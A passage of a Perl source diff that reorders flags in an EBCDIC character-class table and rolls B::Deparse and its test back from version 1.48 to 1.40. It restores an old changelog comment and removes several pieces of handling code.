(1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0xE1 U+F7 I8=F4 DIVISION */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xE2 U+53 'S' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE3 U+54 'T' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE4 U+55 'U' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE5 U+56 'V' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE6 U+57 'W' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE7 U+58 'X' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE8 U+59 'Y' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), -/* 0xE9 U+5A 'Z' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR), +/* 0xE2 U+53 'S' */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE3 U+54 'T' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE4 U+55 'U' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE5 U+56 'V' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE6 U+57 'W' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE7 U+58 'X' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE8 U+59 'Y' */ (1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_NON_FINAL_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), +/* 0xE9 U+5A 'Z' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_ASCII)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD), /* 0xEA U+B2 I8=F5 SUPERSCRIPT 2 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEB U+D4 I8=F6 O with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEC U+D6 I8=F7 O with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xED U+D2 I8=F8 O with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEE U+D3 I8=F9 O with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xEF U+D5 I8=FA O with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEB U+D4 I8=F6 O with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEC U+D6 I8=F7 O with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xED U+D2 I8=F8 O with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEE U+D3 I8=F9 O with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xEF U+D5 I8=FA O with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xF0 U+30 '0' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF1 U+31 '1' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF2 U+32 '2' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), @@ -785,10 +785,10 @@ /* 0xF8 U+38 '8' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xF9 U+39 '9' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_DIGIT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_XDIGIT), /* 0xFA U+B3 I8=FB SUPERSCRIPT 3 */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFB U+DB I8=FC U with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFC U+DC I8=FD U with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFD U+D9 I8=FE U with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), -/* 0xFE U+DA I8=FF U with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFB U+DB I8=FC U with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFC U+DC I8=FD U with DIAERESIS */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFD U+D9 I8=FE U with GRAVE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), +/* 0xFE U+DA I8=FF U with ACUTE */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_START)|(1U<<_CC_UTF8_START_BYTE_IS_FOR_AT_LEAST_SURROGATE), /* 0xFF U+9F APC */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA) #endif /* EBCDIC 037 */ diff --git a/lib/B/Deparse-core.t b/lib/B/Deparse-core.t index 6ee935f5f71a..2ed797ac7e1a 100644 --- a/lib/B/Deparse-core.t +++ b/lib/B/Deparse-core.t @@ -80,23 +80,21 @@ sub testit { $desc .= " (lex sub)" if $lexsub; - my $code; my $code_ref; if ($lexsub) { package lexsubtest; no warnings 'experimental::lexical_subs'; use feature 'lexical_subs'; no strict 'vars'; - $code = "sub { state sub $keyword; ${vars}() = $expr }"; - $code_ref = eval $code - or die "$@ in $expr"; + $code_ref = + eval "sub { state sub $keyword; ${vars}() = $expr }" + || die "$@ in $expr"; } else { package test; use subs (); import subs $keyword; - $code = "no strict 'vars'; sub { ${vars}() = $expr }"; - $code_ref = eval $code + $code_ref = eval "no strict 'vars'; sub { ${vars}() = $expr }" or die "$@ in $expr"; } @@ -117,8 +115,7 @@ sub testit { } my $got_expr = $1; - is $got_expr, $expected_expr, $desc - or ::diag("ORIGINAL CODE:\n$code");; + is $got_expr, $expected_expr, $desc; } } @@ -642,7 +639,7 @@ sprintf 123 p sqrt 01 $ srand 01 - stat 01 $ -state 123 p1+ # skip with 0 args, as state() => () +state 123 p+ # skip with 0 args, as state() => () study 01 $+ # sub handled specially substr 234 p diff --git a/lib/B/Deparse.pm b/lib/B/Deparse.pm index 23045a8dd375..3166415b54a9 100644 --- a/lib/B/Deparse.pm +++ b/lib/B/Deparse.pm @@ -12,16 +12,11 @@ use Carp; use B qw(class main_root main_start main_cv svref_2object opnumber perlstring OPf_WANT OPf_WANT_VOID OPf_WANT_SCALAR OPf_WANT_LIST OPf_KIDS OPf_REF OPf_STACKED OPf_SPECIAL OPf_MOD OPf_PARENS - OPpLVAL_INTRO OPpOUR_INTRO OPpENTERSUB_AMPER OPpSLICE OPpKVSLICE - OPpCONST_BARE + OPpLVAL_INTRO OPpOUR_INTRO OPpENTERSUB_AMPER OPpSLICE OPpCONST_BARE OPpTRANS_SQUASH OPpTRANS_DELETE OPpTRANS_COMPLEMENT OPpTARGET_MY OPpEXISTS_SUB OPpSORT_NUMERIC OPpSORT_INTEGER OPpREPEAT_DOLIST OPpSORT_REVERSE OPpMULTIDEREF_EXISTS OPpMULTIDEREF_DELETE OPpSPLIT_ASSIGN OPpSPLIT_LEX - OPpPADHV_ISKEYS OPpRV2HV_ISKEYS - OPpCONCAT_NESTED - OPpMULTICONCAT_APPEND OPpMULTICONCAT_STRINGIFY OPpMULTICONCAT_FAKE - OPpTRUEBOOL OPpINDEX_BOOLNEG SVf_IOK SVf_NOK SVf_ROK SVf_POK SVpad_OUR SVf_FAKE SVs_RMG SVs_SMG SVs_PADTMP SVpad_TYPED CVf_METHOD CVf_LVALUE @@ -52,14 +47,12 @@ use B qw(class main_root main_start main_cv svref_2object opnumber perlstring MDEREF_SHIFT ); -$VERSION = '1.48'; +$VERSION = '1.40'; use strict; -our $AUTOLOAD; +use vars qw/$AUTOLOAD/; use warnings (); require feature; -use Config; - BEGIN { # List version-specific constants here. # Easiest way to keep this code portable between version looks to @@ -77,6 +70,104 @@ BEGIN { } } +# Changes between 0.50 and 0.51: +# - fixed nulled leave with live enter in sort { } +# - fixed reference constants (\"str") +# - handle empty programs gracefully +# - handle infinite loops (for (;;) {}, while (1) {}) +# - differentiate between 'for my $x ...' and 'my $x; for $x ...' +# - various minor cleanups +# - moved globals into an object +# - added '-u', like B::C +# - package declarations using cop_stash +# - subs, formats and code sorted by cop_seq +# Changes between 0.51 and 0.52: +# - added pp_threadsv (special variables under USE_5005THREADS) +# - added documentation +# Changes between 0.52 and 0.53: +# - many changes adding precedence contexts and associativity +# - added '-p' and '-s' output style options +# - various other minor fixes +# Changes between 0.53 and 0.54: +# - added support for new 'for (1..100)' optimization, +# thanks to Gisle Aas +# Changes between 0.54 and 0.55: +# - added support for new qr// construct +# - added support for new pp_regcreset OP +# Changes between 0.55 and 0.56: +# - tested on base/*.t, cmd/*.t, comp/*.t, io/*.t +# - fixed $# on non-lexicals broken in last big rewrite +# - added temporary fix for change in opcode of OP_STRINGIFY +# - fixed problem in 0.54's for() patch in 'for (@ary)' +# - fixed precedence in conditional of ?: +# - tweaked list paren elimination in 'my($x) = @_' +# - made continue-block detection trickier wrt. null ops +# - fixed various prototype problems in pp_entersub +# - added support for sub prototypes that never get GVs +# - added unquoting for special filehandle first arg in truncate +# - print doubled rv2gv (a bug) as '*{*GV}' instead of illegal '**GV' +# - added semicolons at the ends of blocks +# - added -l '#line' declaration option -- fixes cmd/subval.t 27,28 +# Changes between 0.56 and 0.561: +# - fixed multiply-declared my var in pp_truncate (thanks to Sarathy) +# - used new B.pm symbolic constants (done by Nick Ing-Simmons) +# Changes between 0.561 and 0.57: +# - stylistic changes to symbolic constant stuff +# - handled scope in s///e replacement code +# - added unquote option for expanding "" into concats, etc. +# - split method and proto parts of pp_entersub into separate functions +# - various minor cleanups +# Changes after 0.57: +# - added parens in \&foo (patch by Albert Dvornik) +# Changes between 0.57 and 0.58: +# - fixed '0' statements that weren't being printed +# - added methods for use from other programs +# (based on patches from James Duncan and Hugo van der Sanden) +# - added -si and -sT to control indenting (also based on a patch from Hugo) +# - added -sv to print something else instead of '???' +# - preliminary version of utf8 tr/// handling +# Changes after 0.58: +# - uses of $op->ppaddr changed to new $op->name (done by Sarathy) +# - added support for Hugo's new OP_SETSTATE (like nextstate) +# Changes between 0.58 and 0.59 +# - added support for Chip's OP_METHOD_NAMED +# - added support for Ilya's OPpTARGET_MY optimization +# - elided arrows before '()' subscripts when possible +# Changes between 0.59 and 0.60 +# - support for method attributes was added +# - some warnings fixed +# - separate recognition of constant subs +# - rewrote continue block handling, now recognizing for loops +# - added more control of expanding control structures +# Changes between 0.60 and 0.61 (mostly by Robin Houston) +# - many bug-fixes +# - support for pragmas and 'use' +# - support for the little-used $[ variable +# - support for __DATA__ sections +# - UTF8 support +# - BEGIN, CHECK, INIT and END blocks +# - scoping of subroutine declarations fixed +# - compile-time output from the input program can be suppressed, so that the +# output is just the deparsed code. (a change to O.pm in fact) +# - our() declarations +# - *all* the known bugs are now listed in the BUGS section +# - comprehensive test mechanism (TEST -deparse) +# Changes between 0.62 and 0.63 (mostly by Rafael Garcia-Suarez) +# - bug-fixes +# - new switch -P +# - support for command-line switches (-l, -0, etc.) +# Changes between 0.63 and 0.64 +# - support for //, CHECK blocks, and assertions +# - improved handling of foreach loops and lexicals +# - option to use Data::Dumper for constants +# - more bug fixes +# - discovered lots more bugs not yet fixed +# +# ... +# +# Changes between 0.72 and 0.73 +# - support new switch constructs + # Todo: # (See also BUGS section at the end of this file) # @@ -271,8 +362,7 @@ BEGIN { BEGIN { for (qw[ const stringify rv2sv list glob pushmark null aelem - kvaslice kvhslice padsv - nextstate dbstate rv2av rv2hv helem custom ]) { + nextstate dbstate rv2av rv2hv helem custom ]) { eval "sub OP_\U$_ () { " . opnumber($_) . "}" }} @@ -312,27 +402,13 @@ sub _pessimise_walk { # pessimisations end here - if (class($op) eq 'PMOP') { - if (ref($op->pmreplroot) - && ${$op->pmreplroot} - && $op->pmreplroot->isa( 'B::OP' )) - { - $self-> _pessimise_walk($op->pmreplroot); - } - - # pessimise any /(?{...})/ code blocks - my ($re, $cv); - my $code_list = $op->code_list; - if ($$code_list) { - $self->_pessimise_walk($code_list); - } - elsif (${$re = $op->pmregexp} && ${$cv = $re->qr_anoncv}) { - $code_list = $cv->ROOT # leavesub - ->first # qr - ->code_list; # list - $self->_pessimise_walk($code_list); - } - } + if (class($op) eq 'PMOP' + && ref($op->pmreplroot) + && ${$op->pmreplroot} + && $op->pmreplroot->isa( 'B::OP' )) + { + $self-> _pessimise_walk($op->pmreplroot); + } if ($op->flags & OPf_KIDS) { $self-> _pessimise_walk($op->first); @@ -348,8 +424,6 @@ sub _pessimise_walk { sub _pessimise_walk_exe { my ($self, $startop, $visited) = @_; - no warnings 'recursion'; - return unless $$startop; return if $visited->{$$startop}; my ($op, $prevop); @@ -418,10 +492,6 @@ sub todo { } else { $seq = 0; } - my $stash = $cv->STASH; - if (class($stash) eq 'HV') { - $self->{packs}{$stash->NAME}++; - } push @{$self->{'subs_todo'}}, [$seq, $cv, $is_form, $name]; } @@ -488,17 +558,7 @@ sub next_todo { # makes use of a lexical var that's not in scope. # So strip it out. return $pragmata - if $use_dec =~ - m/ - \A - use \s \S+ \s \(\@\{ - ( - \s*\#line\ \d+\ \".*"\s* - )? - \$args\[0\];\}\); - \n - \Z - /x; + if $use_dec =~ /^use \S+ \(@\{\$args\[0\];\}\);/; $use_dec =~ s/^(use|no)\b/$self->keyword($1)/e; } @@ -552,9 +612,6 @@ sub begin_is_use { my $req_op = $lineseq->first->sibling; return if $req_op->name ne "require"; - # maybe it's C rather than C - return if ($req_op->first->name ne 'const'); - my $module; if ($req_op->first->private & OPpCONST_BARE) { # Actually it should always be a bareword @@ -658,8 +715,7 @@ sub stash_subs { if ($seen ||= {})->{ $INC{"overload.pm"} ? overload::StrVal($stash) : $stash }++; - my $stashobj = svref_2object($stash); - my %stash = $stashobj->ARRAY; + my %stash = svref_2object($stash)->ARRAY; while (my ($key, $val) = each %stash) { my $flags = $val->FLAGS; if ($flags & SVf_ROK) { @@ -700,20 +756,7 @@ sub stash_subs { } elsif (class($val) eq "GV") { if (class(my $cv = $val->CV) ne "SPECIAL") { next if $self->{'subs_done'}{$$val}++; - - # Ignore imposters (aliases etc) - my $name = $cv->NAME_HEK; - if(defined $name) { - # avoid using $cv->GV here because if the $val GV is - # an alias, CvGV() could upgrade the real stash entry - # from an RV to a GV - next unless $name eq $key; - next unless $$stashobj == ${$cv->STASH}; - } - else { - next if $$val != ${$cv->GV}; - } - + next if $$val != ${$cv->GV}; # Ignore imposters $self->todo($cv, 0); } if (class(my $cv = $val->FORM) ne "SPECIAL") { @@ -733,14 +776,6 @@ sub print_protos { my $ar; my @ret; foreach $ar (@{$self->{'protos_todo'}}) { - if (ref $ar->[1]) { - # Only print a constant if it occurs in the same package as a - # dumped sub. This is not perfect, but a heuristic that will - # hopefully work most of the time. Ideally we would use - # 